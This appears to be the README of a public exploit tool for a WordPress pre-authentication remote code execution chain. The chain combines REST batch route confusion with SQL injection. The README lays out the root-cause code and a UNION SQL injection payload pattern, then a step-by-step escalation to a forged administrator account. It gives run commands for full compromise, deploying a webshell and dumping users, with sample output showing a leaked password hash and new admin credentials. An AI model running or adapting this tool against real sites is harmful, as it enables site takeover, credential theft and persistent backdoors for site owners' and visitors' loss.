Share
## https://sploitus.com/exploit?id=6966C4CA-9ECD-5575-BB68-7A3BE24A0B70
CVE-2026-63030 + CVE-2026-60137 โ€” WP2Shell
WordPress Core Pre-Auth RCE via REST Batch Route Confusion + SQLi

---

## Overview

**CVE-2026-63030** (CVSS 9.8) and **CVE-2026-60137** (CVSS 9.1) form a critical **pre-authentication remote code execution** chain in **WordPress Core**. The vulnerabilities affect all default WordPress installations versions **6.9.0โ€“6.9.4** and **7.0.0โ€“7.0.1**.

The chain was **autonomously discovered by GPT-5.6 Sol Ultra** (OpenAI) in just over 10 hours at a cost of ~$25 โ€” a vulnerability class valued at **$500,000** on exploit broker markets.

An unauthenticated attacker achieves RCE by:

1. **REST batch route confusion** (CVE-2026-63030) โ€” desynchronizing WordPress's internal handler-to-request arrays
2. **SQL injection via `author__not_in`** (CVE-2026-60137) โ€” bypassing `absint()` sanitization with a scalar string
3. **UNION SELECT cache poisoning** โ€” forging 7 fake `WP_Post` objects in memory
4. **oEmbed persistence** โ€” converting read-only SQLi into real database writes
5. **`customize_changeset` hijack** โ€” temporarily borrowing administrator identity
6. **`parse_request` hook re-entry** โ€” replaying REST API with elevated privileges
7. **`POST /wp/v2/users` as admin** โ€” creating a new administrator account

> **Active installs:** 472+ million (43% of all websites)  
> **Discovered by:** GPT-5.6 Sol Ultra via Adam Kues (Searchlight Cyber), July 2026  
> **Chain PoC:** Mustafa Can ฤฐPEKร‡ฤฐ (nukedx)  
> **Patch:** WordPress 6.9.5 / 7.0.2 / 6.8.6 (July 17, 2026)

### Affected Versions

| Branch | Vulnerable | Fixed |
|---|---|---|
| 6.9.x | 6.9.0 โ€“ 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 โ€“ 7.0.1 | 7.0.2 |
| 6.8.x | SQLi only (CVE-2026-60137) | 6.8.6 |

---

## Vulnerability Mechanism

### Root Cause 1: Batch Route Confusion (CVE-2026-63030)

WordPress's REST batch processor (`serve_batch_request_v1`) maintains two arrays: `$validation[]` (validation results) and `$matches[]` (route handlers). When `wp_parse_url()` fails on a malformed path (`///`), a `WP_Error` is pushed into the validation chain but **not** into the route match chain:

```php
// class-wp-rest-server.php
$parsed_url = wp_parse_url( $args['path'] );
if ( false === $parsed_url ) {
    $requests[] = new WP_Error( 'parse_path_failed', ... );
    continue;  // โ† SKIPS $matches[] โ€” desync by one index
}
```

The exploit uses **nested (recursive) batch** calls to bypass both method restrictions and parameter sanitization.

### Root Cause 2: SQL Injection via `author__not_in` (CVE-2026-60137)

`WP_Query` only applies `absint()` sanitization inside the `is_array()` branch. When `author__not_in` arrives as a scalar string, sanitization is **completely skipped**:

```php
// class-wp-query.php
if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) );  // ONLY if array
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );  // scalar passes raw
    $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";     // SQL INJECTION
}
```

Payload: `0) UNION ALL SELECT ...-- -` closes the `NOT IN` list and appends arbitrary SQL.

### Escalation Chain

```
[1] Batch desync โ†’ bypass auth + param checks
[2] UNION SELECT โ†’ forge 7 fake WP_Post objects in cache
    โ”œโ”€ Trigger post    โ€” [embed] shortcode
    โ”œโ”€ Changeset post  โ€” post_type=customize_changeset, post_status=future
    โ”œโ”€ Outer partner   โ€” post_parent=changeset (Loop 1)
    โ”œโ”€ oEmbed target   โ€” cache backing
    โ”œโ”€ Nav menu item   โ€” post_type=nav_menu_item
    โ”œโ”€ Request post    โ€” post_type=request, post_status=parse (Loop 2)
    โ””โ”€ Inner partner   โ€” post_parent=request
[3] oEmbed processing โ†’ wp_update_post() โ†’ hierarchy cycle detection
[4] Loop 1 fix โ†’ writes changeset to DB without overwriting post_content
[5] _wp_customize_publish_changeset() โ†’ wp_set_current_user(admin_id)
[6] Loop 2 fix โ†’ writes request post โ†’ do_action("parse_request")
[7] rest_api_loaded() โ†’ serve_request() โ†’ batch replayed as ADMIN
[8] POST /wp/v2/users โ†’ administrator created
```

### Prerequisites for Full RCE

| Requirement | Why | Default? |
|---|---|---|
| At least 1 published post | Seeds oEmbed cache with loopback URLs | โœ… "Hello World" |
| No persistent object cache | UNION rows must not be discarded by split_the_query | โœ… File cache |
| REST API accessible | Re-entry via parse_request needs REST server | โœ… |
| Direct filesystem write | Plugin upload needs FS_METHOD=direct | โœ… Most hosts |

---

## Installation

```bash
git clone https://github.com/shinthink/CVE-2026-63030.git
cd CVE-2026-63030
pip3 install -r requirements.txt  # or: nothing โ€” stdlib only
```

## Usage

```bash
# Full chain โ€” create admin account (pre-auth)
python3 cve_2026_63030.py --url https://target.com

# Check only (non-destructive โ€” verify vulnerability)
python3 cve_2026_63030.py --url https://target.com --check

# Full chain + deploy RCE webshell
python3 cve_2026_63030.py --url https://target.com --rce id

# Dump all users via UNION extraction
python3 cve_2026_63030.py --url https://target.com --dump-users
```

### Output

```
+======================================================================+
|         wp2shell -- Pre-Auth RCE PoC (Educational / Research)        |
|   CVE-2026-60137 (SQLi)  +  CVE-2026-63030 (Batch Route Confusion)  |
+======================================================================+
  Target :  https://target.com
  Mode   :  FULL CHAIN

[STEP 1] Verifying batch endpoint + route-confusion desync
  [+] Batch endpoint reachable (HTTP 207)
  [+] Desync confirmed (markers: parse_path_failed, rest_batch_not_allowed)

[STEP 2] UNION SQLi โ€” database reconnaissance
  [+] Database version  : 8.0.46
  [+] Database user     : wp_user@localhost
  [+] Database name     : wordpress_db
  [+] Table prefix      : wp_
  [+] Admin login       : admin
  [+] Admin hash        : $P$B5xK3mwBxY2dOe/MKWx5VXGihwSUO
  [+] Admin user ID     : 1

[STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning
  [*] Seeding oEmbed cache with 3 loopback URLs...
  [+] oEmbed cache IDs: [6, 7, 8]
  [*] Submitting changeset poison + user creation...
  [+] Admin created -- username: wp2_a1b2c3d4  password: Wp2!e5f6g7h8i9j0

+======================================================================+
|  EXPLOITATION COMPLETE                                               |
+======================================================================+
  Admin : wp2_a1b2c3d4 / Wp2!e5f6g7h8i9j0
  Login : https://target.com/wp-login.php
```

---

## Files

| File | Purpose |
|---|---|
| `cve_2026_63030.py` | Single-target exploit (zero-dependency) |
| `requirements.txt` | Python dependencies (none required) |

## References

- [SLCyber โ€” GPT-5.6 Sol discovery write-up](https://slcyber.io/research-center/exploit-brokers-pay-500000-for-a-wordpress-rce-i-found-one-with-gpt5-6/)
- [WordPress.org โ€” Security release](https://wordpress.org/news/2026/07/wordpress-6-9-5-security-release/)
- [Wiz โ€” Exploitation in the Wild](https://www.wiz.io/blog/wp2shell-cve-2026-63030-cve-2026-60137)
- [Tenable โ€” FAQ](https://www.tenable.com/blog/wp2shell-cve-2026-63030-cve-2026-60137-frequently-asked-questions-about-remote-code-execution)

## Disclaimer

For authorized security testing and educational research only. The authors assume no liability for misuse.